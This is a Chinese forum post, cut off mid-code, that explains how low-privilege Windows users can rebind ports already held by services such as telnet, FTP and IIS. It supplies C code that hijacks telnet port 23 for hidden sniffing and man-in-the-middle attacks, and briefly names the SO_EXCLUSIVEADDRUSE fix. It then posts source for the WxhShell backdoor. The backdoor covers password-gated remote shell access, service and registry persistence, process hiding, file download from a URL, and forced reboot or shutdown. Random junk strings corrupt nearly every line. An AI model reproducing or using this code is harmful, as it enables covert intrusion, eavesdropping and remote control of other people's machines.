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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~<_2WQ/$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W6?pswQ  
rH_\ d?b  
  saddr.sin_family = AF_INET; nqI@Y)  
eg(6^:z?f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eJxw) zd7  
gW>uR3Ca4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  gQ'zW  
#_6I w`0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q=AavKn#  
:S<f?* }:  
  这意味着什么?意味着可以进行如下的攻击: gl\\+VyU  
V@zg}C|e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i BF|&h(\  
%?}33yV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sz:g,}~h  
fVF2-Rh=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n>ULRgiT:o  
yeXx',]a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A mNW0.}  
#gRM i)(F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l_o@miG/  
[DJ|`^eKD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -I8=T]_D  
-:|?h{q?u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "P 7nNa  
; <&*rnH  
  #include ar__ Pf6r  
  #include 1_9<3,7  
  #include j(m.$:  
  #include    9^oKtkoDZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yXSFjcoB  
  int main() c~z82iXNO  
  { l`oZ) ?ur  
  WORD wVersionRequested; )bS yB29S  
  DWORD ret; llcb~  
  WSADATA wsaData; ?[@J8  
  BOOL val; f .Q\Z'S^  
  SOCKADDR_IN saddr; j[`j9mM8  
  SOCKADDR_IN scaddr; n^Hm;BiE#  
  int err;  6:b! F  
  SOCKET s; &e @2  
  SOCKET sc; TE3lK(f  
  int caddsize; 11o.c;  
  HANDLE mt; vdAr|4^qB  
  DWORD tid;   #|L8tuWW  
  wVersionRequested = MAKEWORD( 2, 2 ); ,:%CB"J  
  err = WSAStartup( wVersionRequested, &wsaData ); [pbo4e,4O  
  if ( err != 0 ) { RRmz"j>  
  printf("error!WSAStartup failed!\n"); ULs\+U  
  return -1; ;_c;0)  
  } 1oR7iD^  
  saddr.sin_family = AF_INET; Zq+v6fk_Mn  
   >3p \m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S\:P-&dC  
ZP@ $Q%up  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >0/i[k-dk  
  saddr.sin_port = htons(23); cG[l!Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0)Uce=t`  
  { 8&GBV_`I  
  printf("error!socket failed!\n"); 4 {y)TZ  
  return -1; \UPjf]&  
  } e7 ^mmm  
  val = TRUE; ~xkeuU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J1( 9QN[w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S0zD"T  
  { ^uKwB;@  
  printf("error!setsockopt failed!\n"); ZGexdc%  
  return -1; wxKX{Bs  
  } 8EW_V$>R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f.D?sHAn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MqW7cjg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dq(uVW^&ae  
a zCf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;&9)I8Us  
  { gH12[Us'`  
  ret=GetLastError(); /s x@$cvW  
  printf("error!bind failed!\n"); JZ)RGSG i  
  return -1; ,]|#[8  
  } j'Gt&\4  
  listen(s,2); |,S+@"0#  
  while(1) a!a-b~#cx  
  { >")Tf6zw&  
  caddsize = sizeof(scaddr); z>LUH  
  //接受连接请求 /Lfm&;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;Y 00TGU  
  if(sc!=INVALID_SOCKET) 2^r <{0@n  
  { 6</xL9#/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w mn+  
  if(mt==NULL) %'b M){  
  { c/D+|X*  
  printf("Thread Creat Failed!\n"); {j9{n  
  break; 9+j0q%  
  } 5 h-@|t  
  } s3z$e+A8  
  CloseHandle(mt); f86XkECZ;`  
  } |?!~{-o  
  closesocket(s); "Lzi+1  
  WSACleanup(); abuh`H#  
  return 0; fY{1F   
  }   WJQvB=D&  
  DWORD WINAPI ClientThread(LPVOID lpParam) K18}W*$ d  
  { C6VLy x  
  SOCKET ss = (SOCKET)lpParam; 6c}h(TkB  
  SOCKET sc; @@R7p  
  unsigned char buf[4096]; ,BH@j%Jmy  
  SOCKADDR_IN saddr; z6U\axO6  
  long num; IbT=8l,Li  
  DWORD val; s]HOGJJz  
  DWORD ret; P@Hs`=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w^Sz#_2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CNih6R  
  saddr.sin_family = AF_INET; U_Vs.M.p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `tB gH_$M  
  saddr.sin_port = htons(23); y^;#&k!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x.]i }mt  
  { Q 8T]\6)m  
  printf("error!socket failed!\n"); Bc(Y(X$PK  
  return -1; 0]'7_vDs|  
  } WYHQ?  
  val = 100; I5`4Al  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L5Ebc#  
  { ? E1<!~  
  ret = GetLastError(); ! +a. Ei  
  return -1; y=fx%~<> 8  
  } G/k2Pe{SL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N nRD|A  
  { Nkjza:f{  
  ret = GetLastError(); 6g2a[6G5  
  return -1; {o)Lc6T8s  
  } qz+dmef  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H['N  
  { QqDC4+ p"  
  printf("error!socket connect failed!\n"); VyXKZ%\dQ/  
  closesocket(sc); y0Fb_"}  
  closesocket(ss); &:;:"{t}Do  
  return -1; ~FZ&.<s  
  } U\ ig:  
  while(1) -?H#LUk  
  { &b.=M>\9Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?ME6+Z\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [glLre^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 35A|BD) q  
  num = recv(ss,buf,4096,0); ?8I?'\F;  
  if(num>0) Us)Z^s  
  send(sc,buf,num,0); 8LyD7P 1\  
  else if(num==0) D60aH!ft  
  break; cm&nd'A't  
  num = recv(sc,buf,4096,0); ; ^*}#X d  
  if(num>0) O(#)m>A  
  send(ss,buf,num,0); :yL] ;J  
  else if(num==0) ed]=\Key  
  break; i@C].X  
  } Pnk5mK$  
  closesocket(ss); yg `j-9[8  
  closesocket(sc); {}>0e:51  
  return 0 ; z#zI1Am(O  
  } NvD7Krqwa  
>NO[UX%yP  
D|lzGt  
========================================================== Y#]+Tm (+  
5 f@)z"j  
下边附上一个代码,,WXhSHELL ?L5zC+c!  
pf2[ , v/  
========================================================== ]jtK I4  
J}*,HT*  
#include "stdafx.h" qaqBOHI6G  
z#8~iF1  
#include <stdio.h> 'OE&/ C [  
#include <string.h> p?{Xu4(  
#include <windows.h> ED2a}Tt>Z  
#include <winsock2.h> h2)yq:87  
#include <winsvc.h> zE336  
#include <urlmon.h> hP=WFD&  
H~oail{EQ  
#pragma comment (lib, "Ws2_32.lib") xj<Rp|7&  
#pragma comment (lib, "urlmon.lib") Um }  
OPetj.C/a  
#define MAX_USER   100 // 最大客户端连接数 2n,*Nd`  
#define BUF_SOCK   200 // sock buffer ~De"?  
#define KEY_BUFF   255 // 输入 buffer FG PB:  
m-%E-nr  
#define REBOOT     0   // 重启 N/[p <  
#define SHUTDOWN   1   // 关机 '@cANGg7[  
kj|6iG  
#define DEF_PORT   5000 // 监听端口 8|b3j^u  
2;[D;Y}  
#define REG_LEN     16   // 注册表键长度 &LmJ!^#  
#define SVC_LEN     80   // NT服务名长度 4ae`pAu  
Eav[/cU  
// 从dll定义API 2`AY~i9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jTf@l?|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CHdX;'`*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aC^\(wp[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K#l:wH _  
_ ?TN;  
// wxhshell配置信息 @v$Y7mw3D  
struct WSCFG { bo<~jb{  
  int ws_port;         // 监听端口 q?,).x nN  
  char ws_passstr[REG_LEN]; // 口令 kJWn<5%ayg  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~{*7"o/  
  char ws_regname[REG_LEN]; // 注册表键名 ^aIPN5CK  
  char ws_svcname[REG_LEN]; // 服务名 qBU-~"2t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~ {?_p@&n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /Y*WBTV'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7@#>b E6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4]rnY~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pny11C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 062,L~&E  
g-qP;vy@"q  
}; Okgv!Nt8)A  
w _u\pa  
// default Wxhshell configuration rJd,Rdt.  
struct WSCFG wscfg={DEF_PORT, [M?}uK ^  
    "xuhuanlingzhe", zqd@EF6/bz  
    1, LU+3{O5y  
    "Wxhshell", t^VwR=i  
    "Wxhshell", y9_V  
            "WxhShell Service", m9)p-1y@5  
    "Wrsky Windows CmdShell Service", Dw|}9;5:A  
    "Please Input Your Password: ", uzXCIv@  
  1, iz5CAxm  
  "http://www.wrsky.com/wxhshell.exe", '#! gh?  
  "Wxhshell.exe" vrl;"Fm+  
    }; d[[]P X  
cD@(/$wt  
// 消息定义模块 .=U#eHBdAQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -T!f,g3vW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~"dA~[r L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4pe'06:  
char *msg_ws_ext="\n\rExit."; R FKtr  
char *msg_ws_end="\n\rQuit."; YW-usvl&  
char *msg_ws_boot="\n\rReboot..."; J`^ag'  
char *msg_ws_poff="\n\rShutdown..."; 2C2fGYu  
char *msg_ws_down="\n\rSave to "; ,9?BcD1  
ai}mOyJs  
char *msg_ws_err="\n\rErr!"; >PB4L_1  
char *msg_ws_ok="\n\rOK!"; <CRP ^_c  
QU#w%|  
char ExeFile[MAX_PATH]; b>_o xK  
int nUser = 0; #1J &7F1  
HANDLE handles[MAX_USER]; Yi .u"sh]  
int OsIsNt; TP VVck-T8  
BMhy=+\  
SERVICE_STATUS       serviceStatus; [vge56h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YTAmgkF\4  
rMXN[,|v  
// 函数声明 6Vww;1 J  
int Install(void); ]I-Z]m "  
int Uninstall(void); Rn#KfI:{  
int DownloadFile(char *sURL, SOCKET wsh); 7ByTnYe~S  
int Boot(int flag); ( W a  
void HideProc(void); DvME 1]7)  
int GetOsVer(void); /`9sPR6e  
int Wxhshell(SOCKET wsl); $ oTdfb  
void TalkWithClient(void *cs); & SiP\65N  
int CmdShell(SOCKET sock); MRQ.`IoS  
int StartFromService(void); _AYXc] 4%  
int StartWxhshell(LPSTR lpCmdLine); OtSL*'7>  
c/Qt Ot  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J~=n`pW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >oea{u  
s~X+*@.  
// 数据结构和表定义 yphS'AG  
SERVICE_TABLE_ENTRY DispatchTable[] = ^L0d/,ik  
{ )i q-yjO6  
{wscfg.ws_svcname, NTServiceMain}, f @8mS    
{NULL, NULL} pa#d L!J  
}; yPM3a7-Bm  
]FD'5p{  
// 自我安装 "mX\&%i6\p  
int Install(void) ~SQ?BoCI[  
{ %509\;el  
  char svExeFile[MAX_PATH]; zs%Hb48V   
  HKEY key; vesJEaw7  
  strcpy(svExeFile,ExeFile); &-s'BT[PGq  
O#&c6MDB:  
// 如果是win9x系统,修改注册表设为自启动 0ph{  
if(!OsIsNt) { VQY&g;[d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :!/gk8F|dI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m7&O9?X  
  RegCloseKey(key); ANvRi+ _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qs|mj}?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); . 7zK@6i  
  RegCloseKey(key); |M8WyW  
  return 0; ?in|qevL  
    } dX\.t <  
  } "8'@3$>R=  
} K6y :mJYp\  
else { s?zAP O8Sz  
np%\&CVhN  
// 如果是NT以上系统,安装为系统服务 y+!+ D[x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sa\!*e_sN  
if (schSCManager!=0) f?oa"   
{ dp++%:j  
  SC_HANDLE schService = CreateService qZ]pq2G  
  ( |"XPp!_uN  
  schSCManager, IC6gU$e  
  wscfg.ws_svcname, u583_k%  
  wscfg.ws_svcdisp, $k0k k  
  SERVICE_ALL_ACCESS, pX/n)q[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |UP `B|  
  SERVICE_AUTO_START, @lCJ G!u  
  SERVICE_ERROR_NORMAL, 7~&/_3  
  svExeFile, !l_lo`)  
  NULL, Ad:TYpLD  
  NULL, .P.z B}0=  
  NULL, 7~9S 9  
  NULL, ygeDcnvR]  
  NULL U`,0]"Qk  
  ); \(VTt|}By$  
  if (schService!=0) bfA=3S"0  
  { _FXZm50\g{  
  CloseServiceHandle(schService); XGJj3-eW {  
  CloseServiceHandle(schSCManager); 76wc,+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l_EM8pL,f  
  strcat(svExeFile,wscfg.ws_svcname); oHMo>*?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  |?Frj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ( xXGSx  
  RegCloseKey(key); 0ge$ p,  
  return 0; *\(r+>*x*  
    } -6Oz^  
  } ZeUvyIG  
  CloseServiceHandle(schSCManager); on0]vEE  
} 9Rn? :B~W:  
}  DVah  
AgOp.~*Z~V  
return 1; 5~Cakd ]>  
} I#m-g-J  
SF}<{x_  
// 自我卸载 U7doU'V/  
int Uninstall(void) i:rFQ8 I  
{ )'/|)  
  HKEY key; 6lk l7zm  
.fN"@l  
if(!OsIsNt) { &j?#3Qt'_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @ U kr  
  RegDeleteValue(key,wscfg.ws_regname); <EPj$::  
  RegCloseKey(key); F6o_b4l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uHH/rMV  
  RegDeleteValue(key,wscfg.ws_regname); !FA# K8  
  RegCloseKey(key); KBXK0zWh7  
  return 0; xY+VyOUs  
  } {~h*2n  
} .,7JAkB%t  
} zUkN 0  
else { YoN*:jB<M  
bV edFm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?pYKZg /c  
if (schSCManager!=0) U7!.,kR-  
{ !O.[PH(,*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -RO7 'm0  
  if (schService!=0) *<E]E?  
  { 'xhcuVl  
  if(DeleteService(schService)!=0) { /" ${$b{  
  CloseServiceHandle(schService); 1x @qkL6  
  CloseServiceHandle(schSCManager); 1z&Ly3  
  return 0; cTD!B% x  
  } uC8L\UXk  
  CloseServiceHandle(schService); Q:|l`*.R  
  } K =C!b?  
  CloseServiceHandle(schSCManager); oY1';&BO9  
} rj6tZJZ#o0  
} Ma'_e=+A  
=Zu^80/  
return 1; /n5F(5<  
} %q!8={J8  
T[,/5J  
// 从指定url下载文件 FP0G]=ME  
int DownloadFile(char *sURL, SOCKET wsh) {r> .G7P6  
{ {fha`i  
  HRESULT hr; pl5P2&k  
char seps[]= "/"; Tneq6>  
char *token; JC}f-%H?K  
char *file; A a= u+  
char myURL[MAX_PATH]; pM{nh00[  
char myFILE[MAX_PATH]; Z.W66\8~}^  
s[K^9wz  
strcpy(myURL,sURL); RlqQ  
  token=strtok(myURL,seps); ~by]xE1Eg  
  while(token!=NULL) UOGuqV-  
  { :l2g#* c  
    file=token; M t*6}Cl  
  token=strtok(NULL,seps); ?gO8kPg/D  
  } sp7*_&'J  
2:BF[c`  
GetCurrentDirectory(MAX_PATH,myFILE); 9Ro6fjjE  
strcat(myFILE, "\\"); \k]x;S<a  
strcat(myFILE, file); B!dU>0&Ct  
  send(wsh,myFILE,strlen(myFILE),0); kloR#?8A  
send(wsh,"...",3,0); R*oXmuOsYA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vs)--t  
  if(hr==S_OK) >_c5r?]SG  
return 0; P+!"wX0*N  
else i]=&  
return 1; EyI}{6~F  
Ti2Ls5H}  
} `} m Q  
v?0r`<Mn  
// 系统电源模块 &-czStQ  
int Boot(int flag) [U@ *1  
{ "+z?x~rk  
  HANDLE hToken; K]qM~v<A  
  TOKEN_PRIVILEGES tkp; R64!>o"nED  
T;diNfgg  
  if(OsIsNt) { s-Aw<Q)d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :LWn<,4F&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RbGJ)K!  
    tkp.PrivilegeCount = 1; 9prU+9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SFb{o <0 =  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nLwiCf e  
if(flag==REBOOT) { zW}[+el }  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Io|X#\K  
  return 0; 'S<%Xm  
} L>!8YUz7p$  
else { TDg@Tg0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :qR=>n=  
  return 0; !PMU O\y  
} & SAH2xR  
  } \X F}?*8  
  else { |+:h|UIUQ  
if(flag==REBOOT) { ( =16PYs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y8s!M  
  return 0; [3W*9j  
} ;uqx@sx ;  
else { `:wvh(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f`8OM}un&  
  return 0; Q\Gq|e*  
} x$wd O  
} [xfaj'j=@  
ewuXpv%vwW  
return 1; ="%W2  
} !@I}mQ ~  
ExSO|g]%  
// win9x进程隐藏模块 Q \]Xm>  
void HideProc(void) 5tv<8~:K  
{ 6CC&Z>  
-ZW3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .c^ ggy%  
  if ( hKernel != NULL ) Uw/l>\  
  { vBvNu<v7te  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O lfn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kzb`$CGK  
    FreeLibrary(hKernel); Z?NEO>h7  
  } Nwc!r (  
G~wFnl%  
return; 3Wcy)y>2Ap  
} 8ZcU[8r  
J9%@VZut  
// 获取操作系统版本 <&pKc6+{  
int GetOsVer(void) &[a Tw{2  
{ *U=]@I}J  
  OSVERSIONINFO winfo; {ub/3Uh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :%JC^dV(  
  GetVersionEx(&winfo); T#!lPH :&h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T;\^#1  
  return 1; pi5GxDA]  
  else ~AG$5!  
  return 0; ]h!`IX  
} [4+q+  
3+xy4 G@L  
// 客户端句柄模块 +'#oz+  
int Wxhshell(SOCKET wsl) b[@V Ya  
{ .mL#6P!d3^  
  SOCKET wsh; W~ULc 9  
  struct sockaddr_in client; 6QZ5|T ]  
  DWORD myID; q (+ZwaV@  
C+F*690h  
  while(nUser<MAX_USER) !umEyd@ "  
{ m"-[".-l-  
  int nSize=sizeof(client); b8BD8~;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sk2%  
  if(wsh==INVALID_SOCKET) return 1; K?u(1  
+m,!e*g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?@R")$  
if(handles[nUser]==0) p|XAlia  
  closesocket(wsh); 8I+d)(:  
else g):]'  
  nUser++; ]Z4zF"@  
  } ,Vd7V}t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T~gW3J  
VY+>=!  
  return 0; !asqr1/  
} 5IqQ|/m<6  
fT Y/4(  
// 关闭 socket wk\L*\@Y}  
void CloseIt(SOCKET wsh) % do1i W  
{ h4fLl3%H  
closesocket(wsh); \k.vN@K#  
nUser--; ~ eN8|SR  
ExitThread(0); C:\(~D *GS  
} /&Jv,[2kV  
z,*:x4}F  
// 客户端请求句柄 ?M6ag_h3  
void TalkWithClient(void *cs) ujgLJ77  
{ qJ8-9^E,L  
oP,9#FC|(  
  SOCKET wsh=(SOCKET)cs; R9r+kj_  
  char pwd[SVC_LEN]; `_ (~ Ud  
  char cmd[KEY_BUFF]; > %*B`oqo  
char chr[1]; Vm8D"I5i  
int i,j; lQ*eH10H  
dEp/dd~(&  
  while (nUser < MAX_USER) { Jm(ixekp  
=qoRS0Qa  
if(wscfg.ws_passstr) { 2H[)1|]l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~U}Mv{ y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0,FC YTtj$  
  //ZeroMemory(pwd,KEY_BUFF); Ie'P#e'  
      i=0; X;fy\HaU  
  while(i<SVC_LEN) { 45}v^|Je\  
 s&*yk p  
  // 设置超时 BIWD/ |LQ  
  fd_set FdRead; b;9n'UX\  
  struct timeval TimeOut; :kw0y  
  FD_ZERO(&FdRead); m/USC'U%  
  FD_SET(wsh,&FdRead); hSqMaX%G  
  TimeOut.tv_sec=8; 2HOe__Ns  
  TimeOut.tv_usec=0; M?o{STt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FMu!z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;Gm>O7"|@  
!Qu PG/=X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `?o=*OS7Y  
  pwd=chr[0]; H`<?<ak6'M  
  if(chr[0]==0xd || chr[0]==0xa) { sms1%%~  
  pwd=0; 8?jxDW a  
  break; bY#;E;'7  
  } _|n=cC4Qu  
  i++; \3{3ly~L  
    } c<qe[iyt/  
VEh]p5D  
  // 如果是非法用户,关闭 socket PHR#>ZD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +cfziQ$'  
} JmWR{du  
#q4*]qGHm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =B5E0x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w@N{ @tG  
fwmLJ5o N  
while(1) { 9[>Lp9l'  
Xt(! a  
  ZeroMemory(cmd,KEY_BUFF); e)pTC97^L  
Hc!!tbBQ  
      // 自动支持客户端 telnet标准   V;*pL1  
  j=0; 3@X7YgILU  
  while(j<KEY_BUFF) { l]vohLz 3!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fykI,!  
  cmd[j]=chr[0]; tSw>@FM  
  if(chr[0]==0xa || chr[0]==0xd) { G.VYp6)5  
  cmd[j]=0; I]sqi#h$2W  
  break; 7,_-XV2  
  } \j:gr>4  
  j++; J%r7<y\  
    } d)*(KhYie@  
_'*DT=H'U  
  // 下载文件 wr@GN8e`  
  if(strstr(cmd,"http://")) { b:x7)$(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }|He?[TR  
  if(DownloadFile(cmd,wsh)) ib50LCm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3}M \c)  
  else u[`v&e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )l2P}k7`  
  } lV7IHX1P  
  else { y''0PSfb#  
<lx^aakk!  
    switch(cmd[0]) { 3Wj,}  
  ~x+Ykq0  
  // 帮助 9 x [X<  
  case '?': { `V~LV<v5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^?Vq L\V5  
    break; DB Xm  
  } M7U:g}  
  // 安装 1E^{B8cm  
  case 'i': { m3%ef  
    if(Install()) x[}06k'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E8;TLk4\  
    else *K!7R2Rat  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M 5rwoyn  
    break; (+$ol'i  
    } \6c8z/O7   
  // 卸载 I3ho(Kdi  
  case 'r': { gL,"ef+nM  
    if(Uninstall()) .q0AoM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$@83?O{iM  
    else KQW!\y?$"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BGA%"b  
    break; hOSf'mi  
    } 45r|1<Ro  
  // 显示 wxhshell 所在路径 8v$ g  
  case 'p': { X o_] v  
    char svExeFile[MAX_PATH]; =u[rOU{X"W  
    strcpy(svExeFile,"\n\r"); |<QI%Y$dr  
      strcat(svExeFile,ExeFile); wV %8v\  
        send(wsh,svExeFile,strlen(svExeFile),0); V4oak!}?  
    break; d.b?! kn  
    } dWIZ37w+D  
  // 重启 |3"NwM>  
  case 'b': { $OT}`Te~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E.4n}s  
    if(Boot(REBOOT)) <q1'Li)_R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k{qLkcOg=  
    else { \ j x0ZHR  
    closesocket(wsh); I<9n(rA  
    ExitThread(0); ){jqfkL  
    } J(&Gmk9&  
    break; S].Ft/+H  
    } !}j,TPpG  
  // 关机 WkcH5[  
  case 'd': { zdT->%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6BR \iZ  
